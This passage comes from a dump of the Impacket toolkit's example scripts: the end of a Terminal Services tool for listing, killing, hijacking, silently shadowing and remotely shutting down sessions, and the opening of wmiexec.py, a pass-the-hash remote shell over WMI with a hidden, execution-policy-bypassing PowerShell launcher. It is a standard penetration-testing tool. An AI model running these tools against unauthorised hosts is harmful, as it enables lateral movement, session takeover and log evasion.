maxSessionNameLen if len('SESSIONNAME') < maxSessionNameLen else len('SESSIONNAME')+1\n        \n        # maxUsernameLen = max([len(self.sessions[i]['Username'])+1 for i in self.sessions])\n        maxUsernameLen = max([len(self.sessions[i]['Username']+self.sessions[i]['Domain'])+1 for i in self.sessions])+1\n\n        maxUsernameLen = maxUsernameLen if len('Username') < maxUsernameLen else len('Username')+1\n        \n        \n        maxIdLen = max([len(str(i)) for i in self.sessions])\n        maxIdLen = maxIdLen if len('ID') < maxIdLen else len('ID')+1\n\n        maxStateLen = max([len(self.sessions[i]['state'])+1 for i in self.sessions])\n        maxStateLen = maxStateLen if len('STATE') < maxStateLen else len('STATE')+1\n\n        maxRemoteIp = max([len(self.sessions[i]['RemoteIp'])+1 for i in self.sessions])\n        maxRemoteIp = maxRemoteIp if len('RemoteAddress') < maxRemoteIp else len('RemoteAddress')+1\n\n        maxClientName = max([len(self.sessions[i]['ClientName'])+1 for i in self.sessions])\n        maxClientName = maxClientName if len('ClientName') < maxClientName else len('ClientName')+1\n\n        template = ('{SESSIONNAME: <%d} '\n                    '{USERNAME: <%d} '\n                    '{ID: <%d} '\n                    '{STATE: <%d} '\n                    '{DSTATE: <9} '\n                    '{CONNTIME: <20} '\n                    '{DISCTIME: <20} ') % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen)\n\n        template_verbose = ('{CLIENTNAME: <%d} '\n                            '{REMOTEIP: <%d} '\n                            '{RESOLUTION: <11} '\n                            '{TIMEZONE: <15}') % (maxClientName,maxRemoteIp)\n\n        result = []\n        header = template.format(\n                SESSIONNAME = 'SESSIONNAME',\n                USERNAME    = 'USERNAME',\n                ID          = 'ID',\n                STATE       = 'STATE',\n                DSTATE      = 'Desktop',\n                CONNTIME    = 'ConnectTime',\n                DISCTIME    = 'DisconnectTime',\n            )\n        \n        header2 = template.replace(' <','=<').format(\n                SESSIONNAME = '',\n                USERNAME    = '',\n                ID          = '',\n                STATE       = '',\n                DSTATE      = '',\n                CONNTIME    = '',\n                DISCTIME    = '',\n            )\n\n        header_verbose = ''\n        header2_verbose = ''\n        if options.verbose:\n            header_verbose = template_verbose.format(\n                                  CLIENTNAME = 'ClientName',\n                                  REMOTEIP = 'RemoteAddress',\n                                  RESOLUTION = 'Resolution',\n                                  TIMEZONE = 'ClientTimeZone'\n                              )\n            header2_verbose = template_verbose.replace(' <','=<').format(\n                                  CLIENTNAME = '',\n                                  REMOTEIP = '',\n                                  RESOLUTION = '',\n                                  TIMEZONE = ''\n                              )\n        result.append(header+header_verbose)\n        result.append(header2+header2_verbose+'\\n')\n        \n        for i in self.sessions:\n            connectTime = self.sessions[i]['ConnectTime']\n            connectTime = connectTime.strftime(r'%Y/%m/%d %H:%M:%S') if connectTime.year > 1601 else 'None'\n\n            disconnectTime = self.sessions[i]['DisconnectTime']\n            disconnectTime = disconnectTime.strftime(r'%Y/%m/%d %H:%M:%S') if disconnectTime.year > 1601 else 'None'\n            userName = self.sessions[i]['Domain'] + '\\\\' + self.sessions[i]['Username'] if len(self.sessions[i]['Username']) else ''\n\n            row = template.format(\n                SESSIONNAME = self.sessions[i]['SessionName'],\n                USERNAME    = userName,\n                ID          = i,\n                STATE       = self.sessions[i]['state'],\n                DSTATE      = desktop_states[self.sessions[i]['flags']],\n                CONNTIME    = connectTime,\n                DISCTIME    = disconnectTime,\n            )\n            row_verbose = ''\n            if options.verbose:\n                row_verbose = template_verbose.format(\n                                    CLIENTNAME = self.sessions[i]['ClientName'],\n                                    REMOTEIP = self.sessions[i]['RemoteIp'],\n                                    RESOLUTION = self.sessions[i]['Resolution'],\n                                    TIMEZONE = self.sessions[i]['ClientTimeZone']\n                                )                \n            result.append(row+row_verbose)\n\n        for row in result:\n            print(row)\n\n    def lookupSids(self):\n        # Slightly modified code from lookupsid.py\n        try:\n            stringbinding = r'ncacn_np:%s[\\pipe\\lsarpc]' % self.__options.target_ip\n            rpctransport = transport.DCERPCTransportFactory(stringbinding)\n            rpctransport.set_smb_connection(self.__smbConnection)\n            dce = rpctransport.get_dce_rpc()\n            if self.__doKerberos:\n                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)\n            dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n            dce.connect()\n\n            dce.bind(lsat.MSRPC_UUID_LSAT)\n            sids = list(self.sids.keys())\n            if len(sids) > 32:\n                sids = sids[:32] # TODO in future update\n            resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)\n            policyHandle = resp['PolicyHandle']\n            try:\n                resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)\n            except DCERPCException as e:\n                if str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:\n                    resp = e.get_packet()\n                else: \n                    raise\n            for sid, item in zip(sids,resp['TranslatedNames']['Names']):\n                # if item['Use'] != SID_NAME_USE.SidTypeUnknown:\n                domainIndex = item['DomainIndex']\n                if domainIndex == -1: # Unknown domain\n                    self.sids[sid] = '{}\\\\{}'.format('???', item['Name'])\n                elif domainIndex >= 0:\n                    name = '{}\\\\{}'.format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'])\n                    self.sids[sid] = name\n            dce.disconnect()\n        except:\n            logging.debug(traceback.format_exc())\n\n    def sidToUser(self, sid):\n        if sid[:2] == 'S-' and sid in self.sids:\n            return self.sids[sid]\n        return sid\n\n    def do_tasklist(self):\n        options = self.__options\n        with TSTS.LegacyAPI(self.__smbConnection, options.target_ip, self.__doKerberos) as legacy:\n            handle = legacy.hRpcWinStationOpenServer()\n            r = legacy.hRpcWinStationGetAllProcesses(handle)\n            if not len(r):\n                return None\n\n            self.sids = {}\n            for procInfo in r:\n                sid = procInfo['pSid']\n                if sid[:2] == 'S-' and sid not in self.sids:\n                    self.sids[sid] = sid\n            \n            self.lookupSids()\n\n            maxImageNameLen = max([len(i['ImageName']) for i in r])\n            maxSidLen = max([len(i['pSid']) for i in r])\n            if options.verbose:\n                self.get_session_list()\n                self.enumerate_sessions_config()\n                maxUserNameLen = max([len(self.sessions[i]['Username']+self.sessions[i]['Domain'])+1 for i in self.sessions])+1\n                if maxUserNameLen < 11:\n                    maxUserNameLen = 11\n                template = ('{imagename: <%d} '\n                            '{pid: <6} '\n                            '{sessid: <6} '\n                            '{sessionName: <16} '\n                            '{sessstate: <11} '\n                            '{sessionuser: <%d} '\n                            '{sid: <%d} '\n                            '{workingset: <12}') % (maxImageNameLen, maxUserNameLen, maxSidLen)\n                           \n                print(template.format(imagename   = 'Image Name',\n                                      pid         = 'PID',\n                                      sessionName = 'SessName',\n                                      sessid      = 'SessID',\n                                      sessionuser = 'SessUser',\n                                      sessstate   = 'State',\n                                      sid         = 'SID',\n                                      workingset  = 'Mem Usage'\n                            )\n                     )\n                \n                print(template.replace(' <','=<').format(imagename   = '',\n                                                         pid         = '',\n                                                         sessionName = '',\n                                                         sessid      = '',\n                                                         sessionuser = '',\n                                                         sessstate   = '',\n                                                         sid         = '',\n                                                         workingset  = ''\n                                                        )+'\\n'\n                     )\n\n                for procInfo in r:\n                    sessId = procInfo['SessionId']\n                    fullUserName = ''\n                    if len(self.sessions[sessId]['Domain']):\n                        fullUserName += self.sessions[sessId]['Domain'] + '\\\\'\n                    if len(self.sessions[sessId]['Username']):\n                        fullUserName += self.sessions[sessId]['Username']\n                    row = template.replace('{workingset: <12}','{workingset: >10,} K').format(\n                                          imagename   = procInfo['ImageName'],\n                                          pid         = procInfo['UniqueProcessId'],\n                                          sessionName = self.sessions[sessId]['SessionName'],\n                                          sessid      = procInfo['SessionId'],\n                                          sessstate   = self.sessions[sessId]['state'].replace('Disconnected','Disc'),\n                                          sid         = self.sidToUser(procInfo['pSid']),\n                                          sessionuser = fullUserName,\n                                          workingset  = procInfo['WorkingSetSize']//1000\n                                         )\n                    print(row)\n            else:\n                template = '{: <%d} {: <8} {: <11} {: <%d} {: >12}' % (maxImageNameLen, maxSidLen)\n                print(template.format('Image Name', 'PID', 'Session#', 'SID', 'Mem Usage'))\n                print(template.replace(': ',':=').format('','','','','')+'\\n')\n                for procInfo in r:\n                    row = template.format(\n                                procInfo['ImageName'],\n                                procInfo['UniqueProcessId'],\n                                procInfo['SessionId'],\n                                self.sidToUser(procInfo['pSid']),\n                                '{:,} K'.format(procInfo['WorkingSetSize']//1000),\n                            )\n                    print(row)\n\n    def do_taskkill(self):\n        options = self.__options\n        if options.pid is None and options.name is None:\n            LOG.error('One of the following is required: -pid, -name')\n            return\n        pidList = []\n        with TSTS.LegacyAPI(self.__smbConnection, options.target_ip, self.__doKerberos) as legacy:\n            handle = legacy.hRpcWinStationOpenServer()\n            if options.pid is None and options.name is not None:\n                r = legacy.hRpcWinStationGetAllProcesses(handle)\n                if not len(r):\n                    LOG.error('Could not get process list')\n                    return\n                pidList = [i['UniqueProcessId'] for i in r if i['ImageName'].lower() == options.name.lower()]\n                if not len(pidList):\n                    LOG.error('Could not find %r in process list' % options.name)\n                    return\n            else:\n                pidList = [options.pid]\n\n            for pid in pidList:\n                print('Terminating PID: %d ...' % pid, end='')\n                try:\n                    if legacy.hRpcWinStationTerminateProcess(handle, pid)['ErrorCode']:\n                        print('OK')\n                    else:\n                        print('FAIL')\n                except Exception as e:\n                    LOG.error('Error terminating pid: %d' % pid)\n                    LOG.error(str(e))\n\n    def do_tscon(self):\n        options = self.__options\n        with TSTS.TermSrvSession(self.__smbConnection, options.target_ip, self.__doKerberos) as TSSession:\n            try:\n                session_handle = None\n                print('Connecting SessionID %d to %d ...' % (options.source, options.dest), end='')\n                try:\n                    session_handle = TSSession.hRpcOpenSession(options.source)\n                except Exception as e:\n                    print('FAIL')\n                    if e.error_code == 0x80070002:\n                        LOG.error('Could not find source SessionID: %d' % options.source)\n                    else:\n                        LOG.error(str(e))\n                    return\n                if TSSession.hRpcConnect(hSession = session_handle,\n                                         TargetSessionId = options.dest,\n                                         Password = options.password)['ErrorCode'] == 0:\n                    print('OK')\n                else:\n                    print('FAIL')\n            except Exception as e:\n                print('FAIL')\n                if e.error_code == 0x80070002:\n                    LOG.error('Could not find destination SessionID: %d' % options.dest)\n                elif e.error_code == 0x8007139f:\n                    LOG.error('Session in the invalid state. Did you mean %d -> %d?' % (options.dest, options.source))\n                else:\n                    LOG.error(str(e))\n\n    def do_tsdiscon(self):\n        options = self.__options\n        with TSTS.TermSrvSession(self.__smbConnection, options.target_ip, self.__doKerberos) as TSSession:\n            try:\n                print('Disconnecting SessionID: %d ...' % options.session, end='')\n                session_handle = TSSession.hRpcOpenSession(options.session)\n                if TSSession.hRpcDisconnect(session_handle)['ErrorCode'] == 0:\n                    print('OK')\n                else:\n                    print('FAIL')\n            except Exception as e:\n                print('FAIL')\n                if e.error_code == 1:\n                    LOG.error('Maybe it is already disconnected?')\n                elif e.error_code == 0x80070002:\n                    LOG.error('Could not find SessionID: %d' % options.session)\n                else:\n                    LOG.error(str(e))\n\n    def do_logoff(self):\n        options = self.__options\n        with TSTS.TermSrvSession(self.__smbConnection, options.target_ip, self.__doKerberos) as TSSession:\n            try:\n                print('Signing-out SessionID: %d ...' % options.session, end='')\n                session_handle = TSSession.hRpcOpenSession(options.session)\n                \n                if TSSession.hRpcLogoff(session_handle)['ErrorCode'] == 0:\n                    print('OK')\n                else:\n                    print('FAIL')\n            except Exception as e:\n                if e.error_code == 0x10000000:\n                    print('OK')\n                    return\n                print('FAIL')\n                if e.error_code == 0x80070002:\n                    LOG.error('Could not find SessionID: %d' % options.session)\n                else:\n                    LOG.error(str(e))\n\n    def do_shutdown(self):\n        options = self.__options\n        with TSTS.LegacyAPI(self.__smbConnection, options.target_ip, self.__doKerberos) as legacy:\n            handle = legacy.hRpcWinStationOpenServer()\n            flags = 0\n            flagsList = []\n            ShutdownFlags = [options.logoff, options.shutdown, options.reboot, options.poweroff]\n            for k,v in zip(ShutdownFlags, ['logoff', 'shutdown', 'reboot', 'poweroff']):\n                if k:\n                    flagsList.append(v)\n            flagsList = '|'.join(flagsList)\n            for k,v in zip(ShutdownFlags, [1,2,4,8]):\n                if k:\n                    flags |= v\n            try:\n                print('Sending shutdown (%s) event ...' % (flagsList), end='')\n                resp = legacy.hRpcWinStationShutdownSystem(handle, 0, flags)\n                if resp['ErrorCode']:\n                    print('OK')\n                else:\n                    resp.dump()\n                    print('FAIL')\n            except Exception as e:\n                print('FAIL')\n                LOG.error(str(e))\n    \n\n    def do_msg(self):\n        options = self.__options\n        with TSTS.TermSrvSession(self.__smbConnection, options.target_ip, self.__doKerberos) as TSSession:\n            try:\n                print('Sending message to SessionID: %d ...' % options.session, end='')\n                session_handle = TSSession.hRpcOpenSession(options.session)\n                if TSSession.hRpcShowMessageBox(session_handle, options.title, options.message)['ErrorCode'] == 0:\n                    print('OK')\n                else:\n                    print('FAIL')\n            except Exception as e:\n                print('FAIL')\n                if e.error_code == 0x80070002:\n                    LOG.error('Could not find SessionID: %d' % options.session)\n                else:\n                    LOG.error(str(e))\n\n    def do_shadow(self):\n        \"\"\"\n        Request a Remote Connection String to shadow a Remote Desktop Services session.\n        Author: Ilya Yatsenko (@fulc2um)\n        \"\"\"\n        control = (SHADOW_CONTROL_REQUEST.enumItems.SHADOW_CONTROL_REQUEST_TAKECONTROL \n                  if self.__options.control \n                  else SHADOW_CONTROL_REQUEST.enumItems.SHADOW_CONTROL_REQUEST_VIEW)\n        \n        perm = (SHADOW_PERMISSION_REQUEST.enumItems.SHADOW_PERMISSION_REQUEST_REQUESTPERMISSION \n               if self.__options.prompt \n               else SHADOW_PERMISSION_REQUEST.enumItems.SHADOW_PERMISSION_REQUEST_SILENT)\n\n        LOG.info(f\"Calling RpcShadow2 (SessionId={self.__options.session}, Control={self.__options.control}, Permission={self.__options.prompt})\")\n\n        try:\n            with TSTS.SessEnvPublicRpc(self.__smbConnection, self.__options.target_ip, self.__doKerberos) as sErpc:\n                response = sErpc.hRpcShadow2(self.__options.session, control, perm, 8192)\n\n                if self.__options.debug:\n                    LOG.debug(f\"Response: {response.getData()}\")\n\n                permission = response['pePermission']\n                invitation = response['pszInvitation']\n\n        except DCERPCException as e:\n            LOG.error(f\"RPC Exception: {e}\")\n            return\n\n        if permission is not None:\n            try:\n                desc = TSTS.enum2value(SHADOW_REQUEST_RESPONSE, permission)\n            except (KeyError, AttributeError):\n                desc = \"Unknown\"\n            LOG.info(f\"Permission: {permission} ({desc})\")\n\n        if permission == SHADOW_REQUEST_RESPONSE.enumItems.SHADOW_REQUEST_RESPONSE_ALLOW.value:\n            LOG.info(\"RpcShadow2 call succeeded!\")\n            \n            if not invitation:\n                LOG.error(\"RpcShadow2 failed: No invitation received\")\n                sys.exit(1)\n\n            LOG.info(f\"Invitation received ({len(invitation)} characters)\")\n            \n            try:\n                invitation = invitation.rstrip('\\x00\\r\\n').strip()\n                \n                invitation = ET.fromstring(invitation)\n            except ET.ParseError:\n                if invitation.startswith('<') and not invitation.endswith('>'):\n                    if '</E>' in invitation:\n                        end_pos = invitation.rfind('</E>') + 4\n                        invitation = invitation[:end_pos]\n                        try:\n                            invitation = ET.fromstring(invitation)\n                        except ET.ParseError:\n                            invitation = None\n                    else:\n                        invitation = None\n                else:\n                    invitation = None\n            \n            if invitation:\n                invitation = tostring(invitation, encoding='utf-8', method='xml').decode('utf-8')\n                LOG.info(\"Invitation is well-formed XML\")\n                with open(self.__options.file, 'w', encoding='utf-8') as f:\n                    f.write(invitation)\n                    LOG.info(f\"Saved to {self.__options.file} file\")\n            else:\n                LOG.error(\"Invitation does not appear to be well-formed XML\")\n        else:\n            LOG.error(\"RpcShadow2 failed: Permission denied\")\n            sys.exit(1)\n    \n\nif __name__ == '__main__':\n    # Explicitly changing the stdout encoding format\n    if sys.stdout.encoding is None:\n        # Output is redirected to a file\n        sys.stdout = codecs.getwriter('utf8')(sys.stdout)\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help=True, description=\"Terminal Services manipulation tool.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    subparsers = parser.add_subparsers(help='actions', dest='action')\n\n    # qwinsta: Display information about Remote Desktop Services sessions.\n    qwinsta_parser = subparsers.add_parser('qwinsta', help='Display information about Remote Desktop Services sessions.')\n    qwinsta_parser.add_argument('-v', action='store_true', dest='verbose', help='Turn VERBOSE output ON')\n\n    # tasklist: Display a list of currently running processes on the system.\n    tasklist_parser = subparsers.add_parser('tasklist', help='Display a list of currently running processes on the system.')\n    tasklist_parser.add_argument('-v', action='store_true', dest='verbose', help='Turn VERBOSE output ON')\n \n    # taskkill: Terminate tasks by process id (PID) or image name\n    taskkill_parser = subparsers.add_parser('taskkill', help='Terminate tasks by process id (PID) or image name.')\n    taskkill_parser.add_argument('-pid', action='store', metavar=\"PID\", type=int, help='Specifies process id (PID)')\n    taskkill_parser.add_argument('-name', action='store', help='Specifies process name (ImageName). Internally it will'\n                                                               'execute tasklist to retrieve PID by ImageName.')\n\n    # tscon: Attaches a user session to a remote desktop session\n    tscon_parser = subparsers.add_parser('tscon', help='Attaches a user session to a remote desktop session.')\n    tscon_parser.add_argument('-source', action='store', metavar=\"SessionID\", type=int, required=True, help='Source SessionId')\n    tscon_parser.add_argument('-dest', action='store', metavar=\"SessionID\", type=int, required=True, help='Destination SessionId')\n    tscon_parser.add_argument('-password', action='store', type=str, required=False, help='Destination Session\\'s password')\n\n    # tsdiscon: Disconnects a Remote Desktop Services session\n    tsdiscon_parser = subparsers.add_parser('tsdiscon', help='Disconnects a Remote Desktop Services session.')\n    tsdiscon_parser.add_argument('-session', action='store', metavar=\"SessionID\", type=int, required=True, help='SessionId to disconnect')\n\n    # logoff: Sign out a Remote Desktop Services session\n    logoff_parser = subparsers.add_parser('logoff', help='Sign out a Remote Desktop Services session.')\n    logoff_parser.add_argument('-session', action='store', metavar=\"SessionID\", type=int, required=True, help='SessionId to sign out')\n    \n    # shutdown: Remote shutdown\n    shutdown_parser = subparsers.add_parser('shutdown', help='Remote shutdown, affects ALL sessions and logged-in users!',\n                        description=\"Send Remote Shutdown event. Affects ALL sessions and logged-in users!\")\n    shutdown_parser_group = shutdown_parser.add_argument_group('Shutdown Flags [Multiple Choice]')\n\n    shutdown_parser_group.add_argument('-logoff', action='store_true', help='Forces sessions to logoff.')\n    shutdown_parser_group.add_argument('-shutdown', action='store_true', help='Shuts down the system.')\n    shutdown_parser_group.add_argument('-reboot', action='store_true', help='Reboots after shutdown.')\n    shutdown_parser_group.add_argument('-poweroff', action='store_true', help='Powers off after shutdown.')\n\n    # msg: Send a message to Remote Desktop Services session (MSGBOX)\n    msg_parser = subparsers.add_parser('msg', help='Send a message to Remote Desktop Services session (MSGBOX).')\n    msg_parser.add_argument('-session', action='store', metavar=\"SessionID\", type=int, required=True, help='Receiver SessionId')\n    msg_parser.add_argument('-title', action='store', metavar=\"'Your Title'\", type=str, required=False, help='Title of the MessageBox [Optional]')\n    msg_parser.add_argument('-message', action='store', metavar=\"'Your Message'\", type=str, required=True, help='Contents of the MessageBox')\n\n    shadow_parser = subparsers.add_parser('shadow', help='Shadow a Remote Desktop Services session.')\n    shadow_parser.add_argument('-session', action='store', metavar=\"SessionID\", type=int, required=True, help='SessionId to shadow')\n    shadow_parser.add_argument('-control', action='store_true', help='Request control of the session (default is view only)')\n    shadow_parser.add_argument('-prompt', action='store_true', help='Request user permission (default is silent)')\n    shadow_parser.add_argument('-file', type=str, help='Save invitation to file', default='invite.msrcIncident')\n\n    # Authentication options\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\",\n                       help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on '\n                            'target parameters. If valid credentials cannot be found, it will use the ones specified '\n                            'in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar=\"hex key\",\n                       help='AES key to use for Kerberos Authentication (128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '\n                            'the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar=\"destination port\",\n                       help='Destination port to connect to SMB Server')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    if options.action is None:\n        parser.print_help()\n        LOG.error('Too few arguments...')\n        sys.exit(1)\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if options.target_ip is None:\n        options.target_ip = remoteName\n\n    if domain is None:\n        domain = ''\n\n    if options.aesKey is not None:\n        options.k = True\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n\n        password = getpass(\"Password:\")\n\n    tsHandler = TSHandler(username, password, domain, options)\n    try:\n        tsHandler.run(remoteName, options.target_ip)\n    except Exception as e:\n        traceback.print_exc()\n        logging.error(str(e))\n"
  },
  {
    "path": "examples/wmiexec.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   A similar approach to smbexec but executing commands through WMI.\n#   Main advantage here is it runs under the user (has to be Admin)\n#   account, not SYSTEM, plus, it doesn't generate noisy messages\n#   in the event log that smbexec.py does when creating a service.\n#   Drawback is it needs DCOM, hence, I have to be able to access\n#   DCOM ports at the target machine.\n#\n# Author:\n#   beto (@agsolino)\n#\n# Reference for:\n#   DCOM\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport os\nimport cmd\nimport argparse\nimport time\nimport logging\nimport ntpath\nfrom base64 import b64encode\n\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket import version\nfrom impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21\nfrom impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION\nfrom impacket.dcerpc.v5.dcom import wmi\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.krb5.keytab import Keytab\n\nOUTPUT_FILENAME = '__' + str(time.time())\nCODEC = sys.stdout.encoding\n\n\nclass WMIEXEC:\n    def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,\n                 noOutput=False, doKerberos=False, kdcHost=None, remoteHost=\"\", shell_type=None):\n        self.__command = command\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = aesKey\n        self.__share = share\n        self.__noOutput = noOutput\n        self.__doKerberos = doKerberos\n        self.__kdcHost = kdcHost\n        self.__remoteHost = remoteHost\n        self.__shell_type = shell_type\n        self.shell = None\n        if hashes is not None:\n            self.__lmhash, self.__nthash = hashes.split(':')\n\n    def run(self, addr, silentCommand=False):\n        if self.__noOutput is False and silentCommand is False:\n            smbConnection = SMBConnection(addr, self.__remoteHost)\n            if self.__doKerberos is False:\n                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)\n            else:\n                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,\n                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)\n\n            dialect = smbConnection.getDialect()\n            if dialect == SMB_DIALECT:\n                logging.info(\"SMBv1 dialect used\")\n            elif dialect == SMB2_DIALECT_002:\n                logging.info(\"SMBv2.0 dialect used\")\n            elif dialect == SMB2_DIALECT_21:\n                logging.info(\"SMBv2.1 dialect used\")\n            else:\n                logging.info(\"SMBv3.0 dialect used\")\n        else:\n            smbConnection = None\n\n        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,\n                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, remoteHost=self.__remoteHost)\n        try:\n            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)\n            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n            iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)\n            iWbemLevel1Login.RemRelease()\n\n            win32Process, _ = iWbemServices.GetObject('Win32_Process')\n\n            self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.__shell_type, silentCommand)\n            if self.__command != ' ':\n                self.shell.onecmd(self.__command)\n            else:\n                self.shell.cmdloop()\n        except  (Exception, KeyboardInterrupt) as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n            logging.error(str(e))\n            if smbConnection is not None:\n                smbConnection.logoff()\n            dcom.disconnect()\n            sys.stdout.flush()\n            sys.exit(1)\n\n        if smbConnection is not None:\n            smbConnection.logoff()\n        dcom.disconnect()\n\n\nclass RemoteShell(cmd.Cmd):\n    def __init__(self, share, win32Process, smbConnection, shell_type, silentCommand=False):\n        cmd.Cmd.__init__(self)\n        self.__share = share\n        self.__output = '\\\\' + OUTPUT_FILENAME\n        self.__outputBuffer = str('')\n        self.__shell = 'cmd.exe /Q /c '\n        self.__shell_type = shell_type\n        self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '\n        self.__win32Process = win32Process\n        self.__transferClient = smbConnection\n        self.__silentCommand = silentCommand\n        self.__pwd = str('C:\\\\')\n        self.__noOutput = False\n        self.intro = '[!] Launching semi-interactive shell - Careful what you execute\\n[!] Press help for extra shell commands'\n\n        # We don't wanna deal with timeouts from now on.\n        if self.__transferClient is not None:\n            self.__transferClient.setTimeout(100000)\n            self.do_cd('\\\\')\n        else:\n            self.__noOutput = True\n\n        # If the user wants to just execute a command without cmd.exe, set raw command and set no output\n        if self.__silentCommand is True:\n            self.__shell = ''\n\n    def do_shell(self, s):\n        os.system(s)\n\n    def do_help(self, line):\n        print(\"\"\"\n lcd {path}                 - changes the current local directory to {path}\n exit                       - terminates the server process (and this session)\n lput {src_file, dst_path}   - uploads a local file to the dst_path (dst_path = default current directory)\n lget {file}                 - downloads pathname to the current local dir\n ! {cmd}                    - executes a local shell cmd\n\"\"\")\n\n    def do_lcd(self, s):\n        if s == '':\n            print(os.getcwd())\n        else:\n            try:\n                os.chdir(s)\n            except Exception as e:\n                logging.error(str(e))\n\n    def do_lget(self, src_path):\n\n        try:\n            import ntpath\n            newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))\n            drive, tail = ntpath.splitdrive(newPath)\n            filename = ntpath.basename(tail)\n            fh = open(filename, 'wb')\n            logging.info(\"Downloading %s\\\\%s\" % (drive, tail))\n            self.__transferClient.getFile(drive[:-1] + '$', tail, fh.write)\n            fh.close()\n\n        except Exception as e:\n            logging.error(str(e))\n\n            if os.path.exists(filename):\n                os.remove(filename)\n\n    def do_lput(self, s):\n        try:\n            params = s.split(' ')\n            if len(params) > 1:\n                src_path = params[0]\n                dst_path = params[1]\n            elif len(params) == 1:\n                src_path = params[0]\n                dst_path = ''\n\n            src_file = os.path.basename(src_path)\n            fh = open(src_path, 'rb')\n            dst_path = dst_path.replace('/', '\\\\')\n            import ntpath\n            pathname = ntpath.join(ntpath.join(self.__pwd, dst_path), src_file)\n            drive, tail = ntpath.splitdrive(pathname)\n            logging.info(\"Uploading %s to %s\" % (src_file, pathname))\n            self.__transferClient.putFile(drive[:-1] + '$', tail, fh.read)\n            fh.close()\n        except Exception as e:\n            logging.critical(str(e))\n            pass\n\n    def do_exit(self, s):\n        return True\n\n    def do_EOF(self, s):\n        print()\n        return self.do_exit(s)\n\n    def emptyline(self):\n        return False\n\n    def do_cd(self, s):\n        self.execute_remote('cd ' + s)\n        if len(self.__outputBuffer.strip('\\r\\n')) > 0:\n            print(self.__outputBuffer)\n            self.__outputBuffer = ''\n        else:\n            self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))\n            self.execute_remote('cd ')\n            self.__pwd = self.__outputBuffer.strip('\\r\\n')\n            self.prompt = (self.__pwd + '>')\n            if self.__shell_type == 'powershell':\n                self.prompt = 'PS ' + self.prompt + ' '\n            self.__outputBuffer = ''\n\n    def default(self, line):\n        # Let's try to guess if the user is trying to change drive\n        if len(line) == 2 and line[1] == ':':\n            # Execute the command and see if the drive is valid\n            self.execute_remote(line)\n            if len(self.__outputBuffer.strip('\\r\\n')) > 0:\n                # Something went wrong\n                print(self.__outputBuffer)\n                self.__outputBuffer = ''\n            else:\n                # Drive valid, now we should get the current path\n                self.__pwd = line\n                self.execute_remote('cd ')\n                self.__pwd = self.__outputBuffer.strip('\\r\\n')\n                self.prompt = (self.__pwd + '>')\n                self.__outputBuffer = ''\n        else:\n            if line != '':\n                self.send_data(line)\n\n    def get_output(self):\n        def output_callback(data):\n            try:\n                self.__outputBuffer += data.decode(CODEC)\n            except UnicodeDecodeError:\n                logging.error('Decoding error detected, consider running chcp.com at the target,\\nmap the result with '\n                              'https://docs.python.org/3/library/codecs.html#standard-encodings\\nand 